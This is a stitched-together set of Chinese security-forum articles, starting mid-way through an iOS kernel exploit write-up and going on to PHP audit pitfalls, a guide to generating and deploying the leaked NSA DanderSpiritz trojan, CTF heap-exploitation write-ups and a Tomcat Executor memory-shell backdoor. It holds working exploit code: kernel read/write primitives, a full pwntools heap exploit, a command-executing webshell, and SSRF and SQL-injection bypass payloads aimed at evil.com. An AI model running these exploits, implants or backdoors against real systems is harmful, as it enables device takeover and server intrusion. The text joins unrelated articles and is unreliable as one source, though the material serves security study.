uint64_t kernel_vm_map = 0;
while (struct_task != 0) {
uint64_t bsd_info;
kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
uint32_t pid;
kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
if (pid == 0) {
uint64_t vm_map;
kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
kernel_vm_map = vm_map;
break;
}
kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
}
printf("[i] kernel_vm_map: 0x%llx\n", kernel_vm_map);
把获取到的VM_MAP填充到我们的`Fake Task Port`，一个东拼西凑的TFP0就拿到手了
read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
fake_task->lock.data = 0x0;
fake_task->lock.type = 0x22;
fake_task->ref_count = 100;
fake_task->active = 1;
fake_task->map = kernel_vm_map;
*(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;
if (SMAP) {
write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
}
初始化一个全局`tfpzero`变量
static mach_port_t tfpzero;
void init_kernel_memory(mach_port_t tfp0) {
tfpzero = tfp0;
}
init_kernel_memory(our_port);
申请`8`字节内存，写`0x4141414141414141`，再读出来，能成功说明这个`tfpzero`是能用的
uint64_t addr = kalloc(8);
printf("[*] allocated: 0x%llx\n", addr);
wk64(addr, 0x4141414141414141);
uint64_t readb = rk64(addr);
printf("[*] read back: 0x%llx\n", readb);
kfree(addr, 8);
这里要补充一点：这里申请的都是内核的空间，内核空间范围如下
#define VM_MIN_KERNEL_ADDRESS ((vm_address_t) 0xffffffe000000000ULL)
#define VM_MAX_KERNEL_ADDRESS ((vm_address_t) 0xfffffff3ffffffffULL)
这几个`k*()`函数是基于`tfpzero`实现的函数
内存申请函数：`kalloc()`
uint64_t kalloc(vm_size_t size) {
mach_vm_address_t address = 0;
mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
return address;
}
读函数：`rk32()`和`rk64()`
uint32_t rk32(uint64_t where) {
uint32_t out;
kread(where, &out, sizeof(uint32_t));
return out;
}
uint64_t rk64(uint64_t where) {
uint64_t out;
kread(where, &out, sizeof(uint64_t));
return out;
}
size_t kread(uint64_t where, void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
mach_vm_size_t sz, chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
offset += sz;
}
return offset;
}
写函数：`wk32()`和`wk64()`
void wk32(uint64_t where, uint32_t what) {
uint32_t _what = what;
kwrite(where, &_what, sizeof(uint32_t));
}
void wk64(uint64_t where, uint64_t what) {
uint64_t _what = what;
kwrite(where, &_what, sizeof(uint64_t));
}
size_t kwrite(uint64_t where, const void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
size_t chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
offset += chunk;
}
return offset;
}
内存释放函数：`kfree()`
void kfree(mach_vm_address_t address, vm_size_t size) {
mach_vm_deallocate(tfpzero, address, size);
}
## 9\. 稳定的TFP0
`new_tfp0`是我们最终要使用的TFP0，函数`find_port()`也是利用上面的`tfpzero`进行读取
mach_port_t new_tfp0 = new_port();
uint64_t new_addr = find_port(new_tfp0, self_port_addr);
最开始分析代码的时候我们说过所有的Port都以`ipc_entry_t`的形式存在在`is_table`里，可以通过用户态Port来计算索引取出这个Port的内核态地址
uint64_t find_port(mach_port_name_t port, uint64_t task_self) {
uint64_t task_addr = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = port >> 8; // 取索引
const int sizeof_ipc_entry_t = 0x18;
uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
return port_addr;
}
重新申请一片内核内存用于存储`Fake Task`，通过函数`kwrite()`将`fake_task`写到新申请的内核内存空间，然后让`Fake Task
Port`的`ip_kobject`指向这片新的内存，最后通过刷新`new_addr`指向的`new_tfp0`内存来获取一个最终的TFP0
uint64_t faketask = kalloc(0x600);
kwrite(faketask, fake_task, 0x600);
fakeport->ip_kobject = faketask;
kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));
重复一遍上面的写入读取，测试这个`new_tfp0`是否可用
init_kernel_memory(new_tfp0);
printf("[+] tfp0: 0x%x\n", new_tfp0);
addr = kalloc(8);
printf("[*] allocated: 0x%llx\n", addr);
wk64(addr, 0x4141414141414141);
readb = rk64(addr);
printf("[*] read back: 0x%llx\n", readb);
kfree(addr, 8);
效果蛮好
[+] tfp0: 0x6203
[*] allocated: 0xfffffff008e1f000
[*] read back: 0x4141414141414141
## 10\. 清理内存环境
从`is_table`中删除东拼西凑的Port，然后删除`fds`对应的内核缓冲区，它早就被释放了，还有一些管道句柄，IOSurface都关掉
// 获取is_table
uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
// 获取索引
uint32_t port_index = our_port >> 8;
const int sizeof_ipc_entry_t = 0x18;
// 清空
wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);
// 这个pipe_buffer已经释放，这里指针也要清空
wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg()
if (fds[0] > 0) close(fds[0]);
if (fds[1] > 0) close(fds[1]);
if (port_fds[0] > 0) close(port_fds[0]);
if (port_fds[1] > 0) close(port_fds[1]);
free((void *)fakeport);
deinit_IOSurface();
return new_tfp0;
## 11\. 总结
这篇文章只能说是讲了个大概，很多细节都没有深究，比如堆分配机制，哪些是统一实现的，哪些是单独实现的，结构体偏移计算，伪造Port时各种结构体成员以什么数据进行赋值…，这些问题我也一知半解的，所以就留着后面漏洞分析的多了，逐渐补齐
## References
1. [Sock Port 漏洞解析（一）UAF 与 Heap Spraying](http://blog.asm.im/2019/11/17/Sock-Port-%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%EF%BC%88%E4%B8%80%EF%BC%89UAF-%E4%B8%8E-Heap-Spraying/)
2. [Sock Port 漏洞解析（二）通过 Mach OOL Message 泄露 Port Address](http://blog.asm.im/2019/11/24/Sock-Port-%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%EF%BC%88%E4%BA%8C%EF%BC%89%E9%80%9A%E8%BF%87-Mach-OOL-Message-%E6%B3%84%E9%9C%B2-Port-Address/)
3. [Sock Port 漏洞解析（三）IOSurface Heap Spraying](http://blog.asm.im/2019/12/01/Sock-Port-%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%EF%BC%88%E4%B8%89%EF%BC%89IOSurface-Heap-Spraying/)
4. [Sock Port 漏洞解析（四）The tfp0 !](http://blog.asm.im/2019/12/08/Sock-Port-%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%EF%BC%88%E5%9B%9B%EF%BC%89The-tfp0/)
5. [iOS12-2 越狱漏洞分析](https://cloud.tencent.com/developer/article/1475737)
6. <https://raw.githubusercontent.com/jakeajames/sock_port/master/sock_port.pdf>
7. <https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core>
8. [Pegasus内核漏洞及PoC分析](http://4ch12dy.site/2017/05/01/Pegasus%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%E5%8F%8APoC%E5%88%86%E6%9E%90/Pegasus%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%E5%8F%8APoC%E5%88%86%E6%9E%90/)
9. [pegasus分析](https://www.dazhuanlan.com/2019/12/14/5df3cd57766c5/)
10. [iOSurfaceRootUserClient Port UAF](http://open.appscan.io/article-1216.html)
11. [Recreating an iOS 0-day jailbreak out of Apple’s security patches](https://gsec.hitb.org/materials/sg2019/D2%20-%20Recreating%20an%20iOS%200day%20Jailbreak%20Out%20of%20Apple%E2%80%99s%20Security%20Updates%20-%20Stefan%20Esser.pdf) | 社区文章 |
随着代码安全的普及，越来越多的开发人员知道了如何防御sqli、xss等与语言无关的漏洞，但是对于和开发语言本身相关的一些漏洞和缺陷却知之甚少，于是这些点也就是我们在
_Code_
audit的时候的重点关注点。本文旨在总结一些在PHP代码中经常造成问题的点，也是我们在审计的时候的关注重点。（PS：本文也只是简单的列出问题，至于造成问题的底层原因未做详细解释，有兴趣的看官可以自行GOOGLE或者看看底层C代码。知其然，且知其所以然）
本文若有写错的地方，还请各位大佬斧正 :)
TODO: 继续丰富并增加各个点的实际漏洞事例
####
file_put_contents、copy、file_get_contents等读取写入操作与unlink、file_exists等删除判断文件函数之间对于路径处理的差异导致的删除绕过
例如如下代码
<?php
$filename = __DIR__ . '/tmp/' . $user['name'];
$data = $user['info'];
file_put_contents($filename, $data);
if (file_exists($filename)) {
unlink($filename);
}
?>
这里引用小密圈中P牛的解读
>
> 查看php源码，其实我们能发现，php读取、写入文件，都会调用php_stream_open_wrapper_ex来打开流，而判断文件存在、重命名、删除文件等操作则无需打开文件流。
>
>
> 我们跟一跟php_stream_open_wrapper_ex就会发现，其实最后会使用tsrm_realpath函数来将filename给标准化成一个绝对路径。而文件删除等操作则不会，这就是二者的区别。
>
>
> 所以，如果我们传入的是文件名中包含一个不存在的路径，写入的时候因为会处理掉“../”等相对路径，所以不会出错；判断、删除的时候因为不会处理，所以就会出现“No
> such file or directory”的错误。
于是乎linux可以通过`xxxxx/../test.php`、`test.php/.` windows可以通过`test.php:test`
`test.ph<`来绕过文件删除
此外发现还可以使用伪协议`php://filter/resource=1.php`在file_ge_contents、copy等中读取文件内容，却可以绕过文件删除
#### extract()、parse_str() 等变量覆盖
extract函数从数组导入变量（如\$_GET、
\$_POST）,将数组的键名作为变量的值。而parse_str函数则是从类似name=Bill&age=60的格式字符串解析变量.如果在使用第一个函数没有设置`EXTR_SKIP`或者`EXTR_PREFIX_SAME`等处理变量冲突的参数时、第二个函数没有使用数组接受变量时将会导致变量覆盖的问题
#### intval()整数溢出、向下取整和整形判断的问题
* 32位系统最大的带符号范围为-2147483648 到 2147483647，64位最大的是 9223372036854775807
因此，在32位系统上 intval('1000000000000') 会返回 2147483647
* 此外intval(10.99999)会返回10，intval和int等取整都是'截断'取整，并不是四舍五入
* intval函数进去取整时，是直到遇上数字或者正负号才开始进行转换，之后在遇到非数字或者结束符号（\0）时结束转换
#### 浮点数精度问题导致的大小比较问题
当小数小于10^-16后，PHP对于小数就大小不分了
var_dump(1.000000000000000 == 1) >> TRUE
var_dump(1.0000000000000001 == 1) >> TRUE
#### is_numeric()与intval()特性差异
* is_numeric函数在判断是否是数字时会忽略字符串开头的' '、'\t'、'\n'、'\r'、'\v'、'\f'。
而'.'可以出现在任意位置，E、e能出现在参数中间，仍可以被判断为数字。也就是说is_numeric("\r\n\t 0.1e2") >> TRUE
* intval()函数会忽略'' '\n'、'\r'、'\t'、'\v'、'\0' ，也就是说intval("\r\n\t 12") >> 12
#### strcmp()数组比较绕过
int strcmp ( string $ str1 , string \$str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0；
如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。
但是如果传入的 **两个变量是数组的话，函数会报错返回NULL** ，如果只是用strcmp()==0来判断的话就可以绕过
#### sha1()、md5() 函数传入数组比较绕过
sha1（） MD5（）函数默认接收的参数是字符串类型，但是如果如果 **传入的参数是数组的话，函数就会报错返回NULL**
。类似sha1(\$_GET['name']) === sha1(\$_GET['password’])的比较就可以绕过
#### 弱类型==比较绕过
这方面问题普及的很多，不作过多的解释
* md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391
md5('240610708') == md5('QNKCDZO')
md5('aabg7XSs') == md5('aabC9RqS')
sha1('aaroZmOk') == sha1('aaK1STfY')
sha1('aaO8zKZF') == sha1('aa3OFF9m')
* '0010e2' == '1e3'
'0x1234Ab' == '1193131'
'0xABCdef' == ' 0xABCdef’
* 当转换为boolean时，以下只被认为是FALSE：FALSE、0、0.0、“”、“0”、array()、NULL
* PHP 7 以前的版本里，如果向八进制数传递了一个非法数字（即 8 或 9），则后面其余数字会被忽略。var_dump(0123)=var_dump(01239)=83
PHP 7 以后，会产生 Parse Error。
* 字符串转换为数值时，若字符串开头有数字，则转为数字并省略后面的非数字字符。若一开头没有数字则转换为0
\$foo = 1 + "bob-1.3e3"; // $foo is integer (1)
\$foo = 1 + "bob3"; // $foo is integer (1)
\$foo = 1 + "10 Small Pigs"; // $foo is integer (11)
* '' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == ‘0e987654321'
[false] == [0] == [NULL] == [‘']
NULL == false == 0» true == 1
#### eregi()匹配绕过
eregi（）默认接收字符串参数，如果传入数组，函数会报错并返回NULL。同时还可以%00 截断进行绕过
#### PHP变量名不能带有点[.] 和空格，否则在会被转化为下划线[_]
parse_str("na.me=admin&pass wd=123",$test);
var_dump($test);
array(2) {
["na_me"]=>
string(5) "admin"
["pass_wd"]=>
string(3) "123"
}
#### in_arrary()函数默认进行松散比较（进行类型转换）
in_arrary(“1asd”,arrart(1,2,3,4)) => true
in_arrary(“1asd”,arrart(1,2,3,4),TRUE) => false \\(需要设置strict参数为true才会进行严格比较，进行类型检测)
#### htmlspecialchars()函数默认只转义双引号不转义单引号，如果都转义的话需要添加上参数ENT_QUOTES
#### 在php4、php<5.2.1中，变量的key值不受magic_quotes_gpc影响
#### sprintf()格式化漏洞（可以吃掉转义后的单引号）
printf（）和sprintf（）函数中可以通过使用%接一个字符来进行padding功能
例如%10s 字符串会默认在左侧填充空格至长度为10，还可以 %010s 会使用字符0进行填充，但是如果我们想要使用别的字符进行填充，需要使用 ‘
单引号进行标识，例如 %’#10s 这个就是使用#进行填充（百分号不仅会吃掉’单引号，还会吃掉\ 斜杠）
同时sprintf（）可以使用指定参数位置的写法
%后面的数字代表第几个参数，$后代表格式化类型
于是当我们输入的特殊字符被放到引号中进行转义时，但是又使用了sprintf函数进行拼接时
例如%1$’%s’ 中的 ‘%被当成使用%进行padding，导致后一个’逃逸了
还有一种情况就是’被转义成了\’,例如输入%’ and 1=1#进入，存在SQL过滤，’被转成了\’
于是sql语句变成了 select * from user where username = '%\' and 1=1#’;
如果这个语句被使用sprintf函数进行了拼接，%后的\被吃掉了，导致了’逃逸
<?php
$sql = "select * from user where username = '%\' and 1=1#';";
$args = "admin";
echo sprintf( $sql, $args ) ;
//result: select * from user where username = '' and 1=1#'
?>
不过这样容易遇到 `PHP Warning: sprintf(): Too few arguments`的报错
这个时候我们可以使用%1$来吃掉转移添加的\
<?php
$sql = "select * from user where username = '%1$\' and 1=1#' and password='%s';";
$args = "admin";
echo sprintf( $sql, $args) ;
//result: select * from user where username = '' and 1=1#' and password='admin';
?>
#### php中 = 赋值运算的优先级高于and
`$c = is_numeric($a) and is_numeric($b)`
程序本意是要a、b都为数字才会继续，但是当$a为数字时，会先赋值给$c，所以可能导致$b绕过检测
#### parse_url与libcurl对与url的解析差异可能导致ssrf
* 当url中有多个@符号时， **parse_url中获取的host是最后一个@符号后面的host，而libcurl则是获取的第一个@符号之后的** 。因此当代码对`[[email protected]:80](http://[email protected]:80)@baidu.com` 进行解析时，PHP获取的host是baidu.com是允许访问的域名，而最后调用libcurl进行请求时则是请求的eval.com域名，可以造成ssrf绕过
* 此外对于`[[email protected]](https://[email protected])`这样的域名进行解析时,php获取的host是`[email protected]`，但是libcurl获取的host却是evil.com
#### url标准的灵活性导致绕过filter_var与parse_url进行ssrf
filter_var()函数对于`http://evil.com;google.com`
会返回false也就是认为url格式错误，但是对于`0://evil.com:80;google.com:80/`
、`0://evil.com:80,google.com:80/`、`0://evil.com:80\google.com:80/`却返回true。
#### 通过file_get_contents获取网页内容并返回到客户端有可能造成xss
例如如下代码
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/baidu\.com$/', $r['host'])) {
// get page from URL
$a = file_get_contents($argv[1]);
echo($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
虽然通过filter_var函数对url的格式进行检查，并且使用正则对url的host进行限定
但是可以通过`data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=`
页面会将`<script>alert(1)</script>`返回给客户端，就有可能造成xss | 社区文章 |
# 【技术分享】NSA泄露工具中的Dander Spiritz工具使用简易教程
|
##### 译文声明
本文是翻译文章，文章来源：MisterCh0c
原文地址：<https://medium.com/@MisterCh0c/a-quick-look-at-the-nsa-exploits-dander-spiritz-trojan-1b5428b0ee65>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[testwot](http://bobao.360.cn/member/contribute?uid=2541372557)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**环境**
**攻击机：192.168.174.128 win7**
**目标机：192.168.174.130 win7 x64**
**Dander Spiritz工具使用简易教程**
Dander
Spiritz是NSA此次泄露的工具中那个类似MSF框架的工具（就是那个.jar文件），昨天看了一老外发的文章，现将搭建过程和过程中的我遇到的一些坑分享下（无技术含量，大佬勿喷）：
**1.运行：** 直接双击start.jar或者运行configure_lp.py也可以（直接start_lp.py会跳过一些设置）运行后如图
这里有个坑就是设置里面的Log Directory要设置为你使用fb.py过程中的某个工程名
否则你在后面想进行start listening的时候程序会提示pc_listen不可用，运行完成后如图
**2.生成木马：** 输入pc_prep命令就会一步步提示你怎么生成（目前看到的是这能生成dll和exe）
这里为了测试我们生成一个基于tcp的x64 exe文件（选7）
程序可以生成一key用于加密传输，如果是这里我们选默认2（如上图）
FC还不清楚是什么东西，目测是跟域名上线相关的，这里我们选no。
**3\. 开启监听**
如果自己生成key了就自己导入，设置完后start listening
把生成程序拷到目标机改完后缀运行，然后几秒后连接就回来了
回车yes后程序后会进行一些基本任务收集（需要一段时间）
到这，搭建运行就基本差不多了，你也可以用此次泄露工具中的Doublepulsar中的run dll模式去加载用Dander Spiritz生成的dll。 | 社区文章 |
# 从5道堆题看堆利用
这次写的很辛苦，希望对读者有帮助。堆实质就是利用游戏规则来获胜的一种艺术。。。
## unlink
什么是unlink尼，众所周知smallbin，unsortedbin和largebin是doule-link的结构，当其chunk
free的时候就会几率发生合并，具体情况这里就不进行详细说明了.
#### 过程实现
此处大概说明一下unlink的过程。其函数为`unlink(P,BK,FD)`,我们来一起看一下发生之后的结果。
上面的过程比较清晰，其实主要是发生堆块进行了合并，前两个堆块何在一起了，只需要一个链表了。我们在仔细想一想，一个unlink其本质就是赋值，接下来看一下源码，赋值是怎么一个过程。
unlink(P,BK,FD){
FD = P -> fd;
BK = p -> bk;
FD -> bk = BK;
BK -> fd = fd;
}
其实这么看来就是两个指针的交换，我们再细一点分析，具体到堆块结构FD = *(p -0x10)，之所以是加0x10因为fd指针在堆块的位置决定的（写清楚一点，以前的自己一直不理解是为什么这样）。那么接下来就不具体写了直接写最后演算结果。
*(P->fd+0x18) = *(P->bk)
*(P->bk+0x10) = *(P->fd)
这里还有一个检查是当前unlik加上的，具体就不说了将的文章有很多了，只要知道指针的计算我估计这基本就能理解了。
#### 例题Hitcon training lab11
这个程序有一个堆溢出的漏洞，具体程序的逻辑可以看之后的house of force中的截图。
#### 思路
一、利用unlink，将我们的储存堆块的list其中一个值改变使我们有能控制的指针
二、接下里就是edit函数将指针改成got指针
三、改got表为我们需要的函数。
#### 总结
这里对题目讲的比较省略，因为网上的文章讲unlink的比较多，所以我这里主要总结了我自己在学习过程中遇到的问题，以及一直卡住的看
## Use after free
###### 记录一波建立文件过程
mkdir + name
touch + name
echo 'context' > name
cat name
### hacknote（Hitcon training lab10）
这是一个典型的use after free很适合初次接触的人进行练习
#### 程序功能分析
可以发现是一个note，这里有三个功能
##### add_note
可以发现add的功能是添加字条，第一个段是8字节然后用来储存函数指针
第二段是用来储存我们的输入的
##### del_note
这里可以发现del是一个删除操作，但是并没有让指针置0所以存在use after free 漏洞
##### ptint_note
是一个调用函数指针的一个过程
### 解题思路
一、先申请chunk1，chunk2其中大小随意不要超过fastbin的范围就可以了
二、free chunk1
free chunk2
三、此时fastbin中的分布是
chunk2(8) -> chunk1(8)
chunk2(32) -> chunk1(32)
四、这个时候申请一个chunk3 大小为8
这个时候系统先分配chunk1(8)的大小存放puts函数
然后分配chunk2(8)作为我们的context这个时候我们可以在这里写上magic函数执行获取flag
#### exp:
##### 总结：
简单的说use after free 就是利用free之后指针没有被设置成NULL然后我们可以在此malloc出来使用。
## house of force(Hitcon training lab11)
###### # read函数
第三个参数为unsigned符号，当-1时及0xffffffff
任意大小读
##### 利用需要满足的条件
一、首先，需要存在漏洞使得我们可以控制top chunk的size域
二、其次，需要我们可以自由的控制malloc分配的大小
三、分配的次数不能受限制
### bamboobox
这里利用house of force 进行利用，题目的下方会对house of force进行一个原理讲解
#### 程序功能分析
##### main
一、这里可以发现开始时程序分配了0x10的空间给hello message和goodbye_message函数
二、进行一个循环让我们进行菜单栏选项
#### #menu
这里可以看见这里总共有5个选项其中选项1就是show item，remove就是正常的删除操作，5是正常的退出操作。接下来我们仔细看2，3两个选项
##### add a new item
一、这里程序先让我们选择长度，惊喜惊喜！可以看出长度我们时可以任意控制的，随意malloc
二、然后输入们的item值就可以了
##### change the item in the box
修改物品的名字，根据给定的索引，以及大小，向指定索引的物品中读取指定长度名字。这里长度由用户来读入，也存在任意长度堆溢出的漏洞。
##### magic
这里有一个我们的flag文件可以让我们利用
### 利用思路
一、先malloc一个块
二、利用change the item in the box进行长度的修改使得我们可以覆盖到top chunk的size位置修改top chunk size=-1 （因为在其中size是无符号整数-1会被解释为0xffffff。。）所以size肯定就够我们用了
三、接着我们利用house of force的方法将top chunk的位置放在heap base地址
四、然后我们再申请一个0x10的块，去修改函数指针为我们Magic的地址
整个利用这样就完成
#### exp:
##### 总结
这里利用house of force。
一、这个利用过程的条件必须要满足那三点
二、然后是修改top chunk的大小
三、然后是利用malloc将top chunk放置到我们需要改写的那个地址上，可以是got表的地址可以是分配的堆块地址。
## Double free（Hitcon training lab12）
故名思义，就是对一个堆块进行了两次free，
但是free了同一个堆块两次，其中在glibc中对此有一个检查
其中是检查main_arean是否指向向了原来的一个chunk，这个就是非常容易绕过的只需要free(p1);free(p2);free(p1)就可以绕过了。
#### 利用过程
这是我们执行doublefree之后的图，此时malloc出chunk1，更改chunk1的fd，又因为此时chunk1是在fastbin
list，也就是结构变成了下图
可以看见现在fastbin list中会多指向一个我们的fakebin（此时就可以进行任意地址写了）
#### check_fail
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim));
return NULL;
}
其中会有一个对fakebin，size大小的检查，如果不满足当前fastbin链中应该有的大小则会显示异常。
### 例题：
#### 程序功能分析
##### main
堆堆题一般都是些菜单题，这又是一道菜单题
##### add
add函数就是正常的malloc出堆块，然后输入一些数据，这里并没什么漏洞
##### visit
visit函数就是遍历刚才我们所有建立的东西
##### del
一个删除函数，其中对指针进行了置0所以无法使用use after free，但是这里似乎可以利用double free
##### clean
把所有已经创建了的都进行一个了删除
##### magic
这是一个get_flag的函数
### 利用思路
利用的思路还是比较明显的，利用double
free进行一个got表的改写。首先add函数建立2个堆块，然后free(chunk1)->free(chunk2)->free(chunk1)进行一个检查的bypass。然后再执行add函数，进行chunk1堆块的fd指针改写，然后连续free出chunk2,chunk1和我们构造的fake_chunk（这个chunk的地址在got表上），对got表进行一个覆写，将puts函数got表改写成magic函数的地址。
##### 注意事项
因为要bypass对fakebin_size的检查，所以在选got表地址的时候需要gdb调试一下，看存储的数的低四位满足要求，这里就选用了0x601ffa,刚好可以满足条件
#### exp:
#### 学习总结
从这些3个利用方式来看，堆的学习主要是建立在对源码和对堆分配，回收等操作的熟悉的基础上。这里推荐用pwndbg进行调试，还有一些大佬会用gef和peda➕一些插件的方法进行调试，具体看个人的习惯了。
## off-by-null&tacahe&overlap
##### 函数总结
strlen:不将‘\x00’这一结束符计入字符长度
strcopy:将末尾‘\x00’作为字符串一部分复制
或者是人为的在size数后填上了0
### off-by-null&overlap
这里讲一讲，我理解的off-by-null，其本质就是利用改写将pre_issue位改成\x00然后导致前面一个堆块莫名其妙的就free了（当然不是真的莫名其妙，详细请看堆块结构和记录，简单的说就是pre_issue是位了记录前一个堆块free
or use 情况的）。接着就是利用堆块合并，获得一个free的但是其实并没有free的堆块，这就是overlap。整个过程其实说明了，off-by-null可以触发overlap，并且还是powerful的，可以用来泄漏地址。也可以用来修改fd（详细看下面）
### tacahe
其实这个机制和fastbin很像，但是为了效率会比fastbin少很多检查。并且堆块都会在tacahe走一遍再出来给我们使用，有一些特殊情况不会比如合并了的unsortedbin。他总共有7个，满了才会用其他的类别的chunk。对double
free的检查基本没有。简单的介绍一下，个人在用的时候感觉知道这些就已经差不多了。
#### 例题HCTF-easy_heap
很综合的题目，复合了该有的所有知识点。
#### main
这里我已经改过了一些函数的名字了，主要的逻辑就是删除，添加，打印，退出
#### add
这里主要是一个堆块大小申请的限制，和一个off-by-null的漏洞了
### 思路
一、先消耗了tacahe，然后利用unsortedbin进行一个overlap导致地址泄漏
二、泄漏地址后，我们在对overlap的堆块进行一次malloc然后delete让其两次进入tacahe，就是我们非常熟悉的doublefree的操作了
### exp
from pwn import*
context.log_level = 'debug'
r = process('./easy_heap')
libc = ELF('easy_heap')
elf = ELF('easy_heap')
def new(size,content):
r.recvuntil("?\n> ")
r.sendline("1")
r.recvuntil("size \n> ")
r.sendline(str(size))
r.recvuntil("content \n> ")
r.send(content)
def newz():
r.recvuntil("?\n> ")
r.sendline("1")
r.recvuntil("size \n> ")
r.sendline(str(0))
def delet(idx):
r.recvuntil("?\n> ")
r.sendline("2")
r.recvuntil("index \n> ")
r.sendline(str(idx))
def echo(idx):
r.recvuntil("?\n> ")
r.sendline("3")
r.recvuntil("index \n> ")
r.sendline(str(idx))
#MAIN EXPLOIT
for i in range(10):
newz()
#fill tcache
for i in range(3,10):
delet(i)
delet(0)
delet(1)
delet(2)
#x = input("debug")
for i in range(7):
newz()
#x = input("debug33")
newz()
#x = input("debug33")
newz()
#x = input("debug33")
newz()
#x = input("debugggg")
for i in range(0,7):
delet(i)
delet(7)
newz()
#x = input("First")
delet(8)
#x = input("second")
new(0xf8,'\x00')
#x = input("third")
delet(0)
delet(9)
#x = input("debug0")
#clean tcache
for i in range(7):
newz()
newz()
#x = input("debug")
echo(1)
unsorted_bin = u64(r.recv(6).ljust(8,'\x00'))
libc_base = unsorted_bin - 4111520
#print(hex(libc_base))
free_hook = libc_base + 4118760
onegadget = libc_base + 0x4f322
#hx = input("pause")
newz() #idx.9 ******we cut it ,get a chunk which have same point to 400
delet(0) #passby counts check
#x = input("pause")
delet(1)
delet(9)
# *****double link
#x = input("pause")
new(0x10,p64(free_hook))
#x = input("pause")
newz()
#x = input("pasue")
new(0x10,p64(onegadget))
#x = input("pause")
delet(2)
r.interactive()
### 总结
对所学进行一些总结，其中一直没有明白问题点出来了，可能大家也有这样的问题所以进行一下分享 | 社区文章 |
**前言**
在《Executor内存马的实现》中我们通过修改NioEndpoint的Executor实现，成功完成了一个Container类型的内存马注入。
但是上文中我提供的代码并不够完善，其中有一个比较明显的问题，内存马的回显需要经过我们多次request才能够实现，我们如何解决这个问题？
**正文**
**为什么会出现这种情况？**
前文中我们提到，Tomcat的整体架构可大致分为两块，一部分为用于处理request的Connector，另一部分
为具体实现处理逻辑的Container。
ps：前文中引用的图有问题。
由于处理逻辑过于复杂，为了节约时间，我按照自己的调试思路简单记录了一下：
首先NioEndpoint会从nioChannels中取出一个名为NioChannel的对象：
然后它将会调用poller进行事件注册：
实现register的逻辑如下，其中个人认为比较重要的是NioSocketWrapper的封装，与PollerEvent的注册。
可以看到这个NioSocketWrapper是基于上文获取的NioChannel对象：
addEvent：
......
private void addEvent(NioEndpoint.PollerEvent event) {
this.events.offer(event);
if (this.wakeupCounter.incrementAndGet() == 0L) {
this.selector.wakeup();
}
}
......
public synchronized boolean offer(T t) {
this.queue[this.insert++] = t;
if (this.insert == this.size) {
this.insert = 0;
}
if (this.insert == this.remove) {
this.expand();
}
return true;
}
......
Event添加完成后 Acceptor调用accept方法
通过Poller的prosessKey方法发送给Executor进行相关execute操作：
而前文中提到，我们的恶意代码就在重写的execute方法中：
@Override
public void execute(Runnable command) {
// System.out.println("123");
String cmd = getRequest();
if (cmd.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec(cmd);
java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = "";
String tmp = "";
while ((tmp = stdInput.readLine()) != null) {
s += tmp;
}
if (s != "") {
byte[] res = s.getBytes(StandardCharsets.UTF_8);
getResponse(res);
}
} catch (IOException e) {
e.printStackTrace();
}
}
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
